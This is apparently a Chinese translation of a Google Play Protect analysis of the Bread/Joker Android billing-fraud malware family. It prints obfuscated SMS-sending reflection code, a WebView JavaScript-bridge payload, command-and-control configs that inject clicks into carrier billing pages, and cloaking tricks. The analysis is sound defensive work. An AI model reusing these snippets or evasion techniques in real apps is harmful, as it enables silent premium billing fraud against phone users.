Bread:短信欺诈和收费欺诈的恶意软件
在本期的PHA家族精选系列中,我们介绍了Bread,这是一个大规模的计费欺诈家族。于2017年初首次开始追踪Bread(也称为Joker),确定专门为短信(SMS)欺诈而设计的应用程序。随着Play商店推出新政策以及Google Play Protect扩大了防御范围,Bread应用程序被迫不断迭代以寻找缺口。为了不被发现,他们在某种程度上使用了各种各样的伪装和混淆技术。其中许多例子似乎是专门用来偷偷潜入Play商店不被发现并且不会在其他地方看到而设计的。在本文中,将展示Google Play Protect如何防御一个组织良好、持续不断的攻击者,并分享其技术示例。
TL; DR
- Google Play Protect在用户下载之前检测到并从Play Store中删除了1.7k个独特的Bread应用程序。
- Bread应用最初执行短信欺诈,但由于引入了限制使用Send_SMS许可以及Google Play Protect扩大覆盖范围的新Play策略,大部分已经放弃了这种做法,转而使用WAP收费
- 有关统计数据和相对影响的更多信息,请参阅《Android Security 2018年度回顾》报告
计费欺诈
Bread应用程序通常分为两类:短信欺诈(旧版本)和收费欺诈(新版本)。这两种类型的欺诈都利用涉及用户运营商的移动支付技术。
短信计费
运营商可能与供应商合作,以允许用户通过短信支付服务费用。用户只需要将规定的关键字发短信给规定的号码即可。然后,向其移动服务提供商的用户账单添加一笔费用。
收费计费
运营商还可以在网页上提供付款端点。用户访问URL以完成付款并输入他们的电话号码。使用两种可能的方法来完成对请求来自用户设备的验证:
- 用户通过移动数据而非WiFi连接到站点(因此,服务提供商直接处理连接并可以验证电话号码)。
- 要么,用户必须检索通过短信发送给他们的代码,并将其输入到网页中(从而证明可以访问提供的电话号码)。
欺诈
上面详述的两种计费方法均提供设备验证,但不提供用户验证。运营商可以确定请求源来自用户的设备,但不需要来自用户的任何无法自动化的交互。恶意软件作者使用注入的点击、自定义HTML解析器和短信接收器来自动化计费过程,而无需用户进行任何交互。
字符串和数据混淆
面包应用程序使用了许多创新的和经典的技术来对分析引擎隐藏字符串。以下是一些亮点。
标准加密
通常,Bread应用程序会利用java.util.crypto
中的标准加密库。我们发现了使用AES,Blowfish和DES及其组合来加密其字符串的应用程序。
自定义加密
其他变体使用了自定义实现的加密算法。一些常用技术包括:基本XOR加密,嵌套XOR和自定义密钥派生方法。某些变体已经走得很远,以至于每个类的字符串都使用不同的键。
分割字符串
加密的字符串可能是代码试图隐藏某些内容的信号。Bread使用了一些技巧来使字符串保持纯文本格式,同时防止基本的字符串匹配。
String click_code = new StringBuilder().append(".cli").append("ck();");
再进一步,这些子字符串有时分散在整个代码中,可以从静态变量和方法调用中检索。各种版本也可以更改拆分的索引(例如“ .clic”和“ k();”)。
分隔符
另一种混淆未加密字符串的技术使用重复分隔符。在策略要点插入一个短而恒定的字符串以分隔关键字:
String js = "javm6voTascrm6voTipt:window.SDFGHWEGSG.catcm6voThPage(docm6voTument.getElemm6voTentsByTm6voTagName('html')[m6voT0].innerHTML);"
在运行时,在使用字符串之前删除分隔符:
js = js.replaceAll("m6voT", "");
API混淆
短信和收费欺诈通常需要一些基本行为(例如,禁用WiFi或访问短信),少数几个API即可访问这些行为。考虑到识别计费欺诈的行为数量有限,Bread应用程序必须尝试多种技术来掩盖这些API的使用。
Reflection
大多数隐藏API使用情况的方法都倾向于以某种方式使用Java Reflection。在某些示例中,Bread仅对在运行时解密的字符串直接调用了Reflect API。
Class smsManagerClass = Class.forName(p.a().decrypt("wI7HmhUo0OYTnO2rFy3yxE2DFECD2I9reFnmPF3LuAc=")); // android.telephony.SmsManager
smsManagerClass.getMethod(p.a().decrypt("0oXNjC4kzLwqnPK9BiL4qw=="), // sendTextMessage
String.class, String.class, String.class, PendingIntent.class, PendingIntent.class).invoke(smsManagerClass.getMethod(p.a().decrypt("xoXXrB8n1b0LjYfIYUObrA==")).invoke(null), addr, null, message, null, null); // getDefault
JNI
Bread还测试了我们分析本机代码的能力。在一个示例中,DEX文件中没有显示与信息相关的代码,但是注册了本机方法。
public static native void nativesend(String arg0, String arg1);
两个字符串传递到调用中,用于SMS计费的短码和关键字(为清楚起见,此处重命名了getter方法)。
JniManager.nativesend(this.get_shortcode(), this.get_keyword());
在本机库中,它存储用于访问SMS API的字符串。
该nativesend
方法使用Java本机接口(JNI)来获取并调用Android SMS API。以下是IDA的屏幕截图,其中显示了字符串和JNI函数的注释。
WebView JavaScript Interface
继续讨论跨语言桥梁的主题,Bread还尝试了一些在WebViews中使用JavaScript的混淆方法。在DEX中声明以下方法。
public void method1(String p7, String p8, String p9, String p10, String p11) {
Class v0_1 = Class.forName(p7);
Class[] v1_1 = new Class[0];
Object[] v3_1 = new Object[0];
Object v1_3 = v0_1.getMethod(p8, v1_1).invoke(0, v3_1);
Class[] v2_2 = new Class[5];
v2_2[0] = String.class;
v2_2[1] = String.class;
v2_2[2] = String.class;
v2_2[3] = android.app.PendingIntent.class;
v2_2[4] = android.app.PendingIntent.class;
reflect.Method v0_2 = v0_1.getMethod(p9, v2_2);
Object[] v2_4 = new Object[5];
v2_4[0] = p10;
v2_4[1] = 0;
v2_4[2] = p11;
v2_4[3] = 0;
v2_4[4] = 0;
v0_2.invoke(v1_3, v2_4);
}
如果没有上下文,则此方法不会充分揭示其预期的行为,并且在DEX中的任何位置都不会对其进行调用。但是,该应用程序确实创建了WebView并向该类注册了JavaScript接口。
this.webView.addJavascriptInterface(this, "stub");
这使运行在WebView中的JavaScript可以访问此方法。该应用程序加载指向Bread控制服务器的URL。响应包含一些基本的HTML和JavaScript。
在绿色中,我们可以看到对SMS API的引用。在红色中,我们看到这些值通过注册的接口传递到可疑的Java方法中。现在,使用这些字符串Method1可以使用Reflection调用sendTextMessage并处理支付。
Packing
除了实现自定义混淆技术外,应用还使用了几种商用包装工具,包括:Qihoo360,AliProtect和SecShell。
最近,我们发现Bread相关的应用程序试图在APK随附的本机库中隐藏恶意代码。今年早些时候,我们发现了在ELF文件的数据部分中隐藏JAR的应用程序,然后使用来动态加载DexClassLoader
。
下图显示了APK附带的共享库的.rodata部分中存储的加密JAR片段,以及用于解密的XOR密钥。
在我们阻止了这些样本之后,他们将相当一部分的恶意功能转移到了本机库中,从而导致Dalvik与本机代码之间来回的特殊变化:
命令与控制
动态短码和内容
Bread的早期版本利用基本的命令和控制基础结构来动态交付内容并检索账单明细。在下面的示例服务器响应中,绿色字段显示要向用户显示的文本。红色字段用作短信计费的短码和关键字。
状态机
由于各种运营商以不同的方式执行计费过程,因此Bread开发了几种变体,其中包含实现所有可能步骤的通用状态机。在运行时,应用程序可以检查设备连接到哪个运营商,并从命令和控制服务器获取配置对象。该配置包含使用URL和JavaScript执行的步骤列表。
{
"message":"Success",
"result":[
{
"list":[
{
"endUrl":"http://sabai5555.com/",
"netType":0,
"number":1,
"offerId":"1009",
"step":1,
"trankUrl": "http://atracking-auto.appflood.com/transaction/post_click?offer_id=19190660&aff_id=10336"
},
{
"netType":0,
"number":2,
"offerId":"1009",
"params":"function jsFun(){document.getElementsByTagName('a')[1].click()};",
"step":2
},
{
"endUrl":"http://consentprt.dtac.co.th/webaoc/InformationPage",
"netType":0,
"number":3,
"offerId":"1009",
"params":"javascript:jsFun()",
"step":4
},
{
"endUrl":"http://consentprt.dtac.co.th/webaoc/SuccessPage",
"netType":0,
"number":4,
"offerId":"1009",
"params":"javascript:getOk()",
"step":3
},
{
"netType":0,
"number":5,
"offerId":"1009",
"step":7
}
],
"netType":0,
"offerId":"1009"
}
],
"code":"200"
}
实施的步骤包括:
- 在WebView中加载URL
- 在WebView中运行JavaScript
- 切换WiFi状态
- 切换移动数据状态
- 阅读/修改短信收件箱
- 解决验证码
验证码
一种比较有趣的状态实现了解决基本验证码(模糊的字母和数字)的功能。首先,该应用程序创建一个JavaScript函数来调用Java方法,getImageBase64
并使用公开给WebView addJavascriptInterface
。
用于替换的值GET_IMG_OBJECT
来自JSON配置。
"params": "document.getElementById('captcha')"
然后,该应用程序使用JavaScript注入在运营商的网页中创建新脚本以运行新功能。
然后将base64编码的图像上载到图像识别服务。如果成功检索到文本,则该应用再次使用JavaScript注入来提交带有验证码答案的HTML表单。
Cloaking
客户端运营商检查
在上面的基本命令和控制示例中,我们没有解决(错误标签)“ imei”字段的问题。
{
"button": "ยินดีต้อนรับ",
"code": 0,
"content": "F10",
"imei": "52003,52005,52000",
"rule": "Here are all the pictures you need, about
happiness, beauty, beauty, etc., with our most
sincere service, to provide you with the most
complete resources.",
"service": "4219245"
}
这包含计费过程将适用的移动国家代码(MCC)和移动网络代码(MNC)值。在此示例中,服务器响应包含泰国运营商的多个值。该应用程序检查设备的网络是否与服务器提供的网络之一匹配。如果是这样,它将从计费过程开始。如果该值不匹配,则该应用将跳过“披露”页面和计费过程,并直接将用户带到应用内容。
在某些版本中,服务器只会在提交应用后几天返回有效响应。
服务器端运营商检查
在上面介绍的JavaScript桥API模糊处理示例中,服务器为应用提供了必要的字符串以完成结算过程。但是,分析人员可能并不总是在服务器响应中看到危害的指标。
在此示例中,对服务器的请求采用以下形式:
http://X.X.X.X/web?operator=52000&id=com.battery.fakepackage&deviceid=deadbeefdeadbeefdeadbeefdeadbeef
在此,“运营商”查询参数是“移动国家/地区代码”和“移动网络代码”。服务器可以使用此信息来确定用户的载体是否是Bread的目标之一。如果不是,则清除响应中用于完成计费欺诈的字符串。
<a onclick="Sub()">ไปเดี๋ยวนี้</a>
<div style="display:none">
<p id="deviceid">deadbeefdeadbeefdeadbeefdeadbeef</p>
<p id="cmobi"></p>
<p id="deni"></p>
<p id="ssm"></p>
<p id="shortcode"></p>
<p id="keyword"></p>
</div>
误导用户
Bread应用有时会向用户显示一个弹出窗口,表示某种形式的合规性或披露性,并显示条款和条件或确认按钮。但是,实际文本通常只会显示基本的欢迎消息。
翻译:“这个应用程序是一个值得去的地方,有了这个新的应用程序,它会感觉像一个超级英雄。希望您喜欢!“。
其他版本包括有效披露信息所需的所有部分。
翻译后,披露内容为:
“Apply Car Racing Clip\ 请输入您的电话号码以获取服务详细信息\ 条款和条件\ 每天9泰铢起,您每天将收到1条消息\ 请在4739504停止V4打印服务\ 或致电02-697-9298 \ 周一至周五的8.30-5.30pm \ ”
但是,这里仍然存在两个问题:
- 用于取消订阅的联系电话不是真实的
- 即使您没有点击“确认”按钮,计费过程也会开始
即使此处的公开内容显示了准确的信息,用户也常常会发现该应用程序的广告功能与实际内容不匹配。Bread应用程序通常不包含计费过程之外的任何功能,或者仅从其他流行应用程序中克隆内容。
版本
Bread还利用了应用商店特有的滥用策略:版本控制。一些应用程序从纯净版开始,以扩大用户群并建立开发人员帐户的声誉。后来才通过更新引入了恶意代码。有趣的是,早期的“clean”版本包含不同级别的信号,表明更新将在以后包含恶意代码。首先上传一些带有所有必要代码的代码,除了实际初始化计费过程的一行代码外。其他用户可能具有必要的权限,但缺少包含欺诈代码的类。除引用支付过程的日志注释外,其他所有内容都已删除。所有这些方法都试图在不同阶段排除可能引入的信号,测试出版过程中的差距。然而,从分析的角度来看,GPP并没有区别对待新的应用程序和更新。
虚假评论
首次发布早期版本的应用程序时,会出现许多五星级评论,并带有以下注释:
- “非常美丽”
- 随后,来自真实用户的1颗星评论开始出现,评论如下:
- “欺骗”
- “这个应用程序不是诚实的…”
